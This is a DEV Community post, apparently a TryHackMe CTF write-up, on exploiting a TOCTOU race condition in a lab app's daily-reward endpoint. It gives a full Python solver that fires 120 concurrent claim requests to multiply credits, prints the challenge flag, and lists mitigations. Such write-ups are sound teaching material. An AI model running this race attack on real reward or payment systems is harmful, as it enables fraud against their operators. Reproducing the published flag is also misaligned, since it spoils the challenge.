DEV Community

Cover image for [TryHackMe Writeup] Towel on the Sunbed
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] Towel on the Sunbed

Towel on the Sunbed — Writeup (How to Solve)

Field Value
Target http://MACHINE_IP:3000
Platform TryHackMe — Hacker Holidays · The Byte Lotus Hotel
Category Web · Business Logic · API Abuse
Difficulty Medium
Flag THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}

Skill path: daily-reward business logic → TOCTOU race condition (concurrent
claims) → reach "Whale" tier → open the Whale Vault.


The App

Ponzi Portfolio — a "crypto rewards" poolside app:

Endpoint Purpose
POST /auth/register Create an account (JSON {username, password})
POST /auth/login Login, sets connect.sid session cookie
GET /dashboard/api/me Balance, tier, canClaim, secondsUntilClaim, prices
POST /claim Claim +50 PONZI staking reward
GET /vault Whale Vault — returns the flag if balance >= 150

Rules learned from /js/dashboard.js:

const WHALE_THRESHOLD = 150;   // PONZI needed to open the vault
Enter fullscreen mode Exit fullscreen mode
  • Every 24h (86 400 s) you may claim once → +50 PONZI.
  • Reach 150 PONZI → "Whale" tier → /vault returns the flag.
  • So legitimately you'd wait 3 days — the story is about a guest who was away from his sunbed for a minute and somehow "claimed three times over".

The Bug — TOCTOU Race Condition on /claim

The claim handler is an async check-then-act:

// conceptual server code
app.post('/claim', async (req, res) => {
  const user = await db.findOne({ id: req.user.id });   // 1. read
  if (Date.now() - user.lastClaimAt < 86_400_000)
    return res.status(429).json({ error: 'Reward already claimed...' });
  user.balance += 50;                                    // 2. check
  user.lastClaimAt = Date.now();                         // 3. act
  await db.update({ id: user.id }, user);                // 4. write
  ...
});
Enter fullscreen mode Exit fullscreen mode

Because findOne and update are async, a request that arrives between
the cooldown check and the database write still sees lastClaimAt unset —
i.e. canClaim is still true. Fire enough POST /claim requests at the
same moment and several of them slip through the gap and all credit +50.

The story hints match exactly:

  • "claimed three times over while he wasn't looking" → 3 racing claims
  • "between his request and the server's clock, there's a gap wide enough to walk a whale through" → the async gap
  • "the clock is the only thing checking him" → the timestamp check is the whole defense

Exploit

1. Register + login (guest account)

s = requests.Session()
s.post(BASE + "/auth/register", json={"username": u, "password": "password123"})
s.post(BASE + "/auth/login",    json={"username": u, "password": "password123"})
Enter fullscreen mode Exit fullscreen mode

2. Fire many simultaneous claims — one per dedicated connection

The critical trick: give every thread its own keep-alive connection so all
requests reach the server at the same instant (a shared connection pool
serialises them and you only ever land 1 claim):

from requests.adapters import HTTPAdapter
adapter = HTTPAdapter(pool_connections=120, pool_maxsize=120)
s.mount("http://", adapter)

def claim(i):
    return s.post(BASE + "/claim", timeout=20).json()

with ThreadPoolExecutor(max_workers=120) as ex:
    results = list(ex.map(claim, range(120)))
Enter fullscreen mode Exit fullscreen mode

Typical results (measured):

OK=11  bal=550   (11 claims landed in 0.27 s → whale in one shot)
OK=2   bal=100
OK=3   bal=150   → whale
Enter fullscreen mode Exit fullscreen mode

If a round lands fewer than 3 claims, try again with a fresh account — the
window is small but the hit rate is high enough that a couple of rounds always
succeeds.

3. Open the vault

r = s.get(BASE + "/vault")
# {"message":"Welcome to the Whale Vault.","flag":"THM{...}","balance":150}
Enter fullscreen mode Exit fullscreen mode

Fully automated solver

python solve_towel.py http://MACHINE_IP:3000
Enter fullscreen mode Exit fullscreen mode
"""
Towel on the Sunbed (Byte Lotus Hotel) - FULLY AUTOMATIC SOLVER
Gets the flag with zero manual steps.

Target: http://MACHINE_IP:3000

Chain:
  1. Register a fresh guest account
  2. Login (session cookie)
  3. Race N concurrent POST /claim requests (TOCTOU: all read
     "canClaim=true" before any writes last_claim) -> +50 PONZI each
     (each thread uses its own dedicated keep-alive connection so all
     requests hit the server simultaneously)
  4. If balance < 150 (Whale tier), try again with a new account
  5. GET /vault -> flag

Flag: THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}

Usage: python solve_towel.py [http://IP:port]
"""
import sys
import re
import random
import requests
from concurrent.futures import ThreadPoolExecutor
from requests.adapters import HTTPAdapter

BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://MACHINE_IP:3000").rstrip("/")
THREADS = 120          # concurrent claim requests per round
MAX_ROUNDS = 10        # fresh accounts until whale balance reached
WHALE_THRESHOLD = 150
FLAG_RE = re.compile(r"THM\{[^}]+\}")


def race_account():
    """Create an account and fire THREADS concurrent /claim requests."""
    u = "w_" + str(random.randint(10**8, 10**9))
    s = requests.Session()
    s.post(BASE + "/auth/register", json={"username": u, "password": "password123"}, timeout=15)
    s.post(BASE + "/auth/login", json={"username": u, "password": "password123"}, timeout=15)

    adapter = HTTPAdapter(pool_connections=THREADS, pool_maxsize=THREADS)
    s.mount("http://", adapter)

    def claim(i):
        try:
            return s.post(BASE + "/claim", timeout=20).json()
        except Exception:
            return {}

    with ThreadPoolExecutor(max_workers=THREADS) as ex:
        results = list(ex.map(claim, range(THREADS)))
    landed = sum(1 for r in results if "reward" in r)
    me = s.get(BASE + "/dashboard/api/me", timeout=15).json()
    return s, landed, me.get("balance", 0), u


def main():
    print(f"[+] Targeting {BASE}")
    print("[+] Racing /claim (TOCTOU: concurrent claims pass the cooldown check)")
    for rnd in range(1, MAX_ROUNDS + 1):
        s, landed, bal, u = race_account()
        print(f"[+] round {rnd:02d}: {landed:3d} claims landed, balance={bal} PONZI", flush=True)
        if bal >= WHALE_THRESHOLD:
            print(f"[+] Whale tier reached (balance {bal} >= {WHALE_THRESHOLD})")
            resp = s.get(BASE + "/vault", timeout=15)
            m = FLAG_RE.search(resp.text)
            flag = m.group(0) if m else "(not found)"
            print("[+] FLAG:", flag)
            print()
            print("=" * 50)
            print("  FLAG :", flag)
            print("=" * 50)
            return 0 if flag.startswith("THM{") else 1
    print("[-] Could not reach whale balance after", MAX_ROUNDS, "rounds")
    return 1


if __name__ == "__main__":
    sys.exit(main())
Enter fullscreen mode Exit fullscreen mode

Registers, races the claim, retries with fresh accounts until
balance >= 150, opens the vault, prints the flag:

[+] round 01:   2 claims landed, balance=100 PONZI
[+] round 02:   3 claims landed, balance=150 PONZI
[+] Whale tier reached (balance 150 >= 150)
[+] FLAG: THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}
Enter fullscreen mode Exit fullscreen mode

Vulnerabilities (recap)

  1. TOCTOU race condition in /claim — the 24h cooldown check and the database write are separate async steps, so concurrent requests all pass the check and each credit +50 PONZI.
  2. Business logic imbalance — reward (50) vs whale threshold (150) forces users to trust the cooldown; any bypass compounds to free money.

Mitigations

Issue Fix
TOCTOU on claim Use an atomic conditional update (UPDATE ... WHERE last_claim_at <= now - 86400) or a database-level unique/version constraint; check-and-write in a single transaction
Double-crediting Idempotency keys per (user, day) enforced by a unique index on (user_id, day)
Rate abuse Server-side idempotent claim (unique claim record per day), not just a wall-clock comparison

Tools Used

  • Python requests + ThreadPoolExecutor — concurrent claim burst
  • HTTPAdapter(pool_maxsize=N) — one dedicated keep-alive connection per thread for simultaneous arrival
  • Fresh-account rounds — repeat until the race lands ≥ 3 claims

Top comments (0)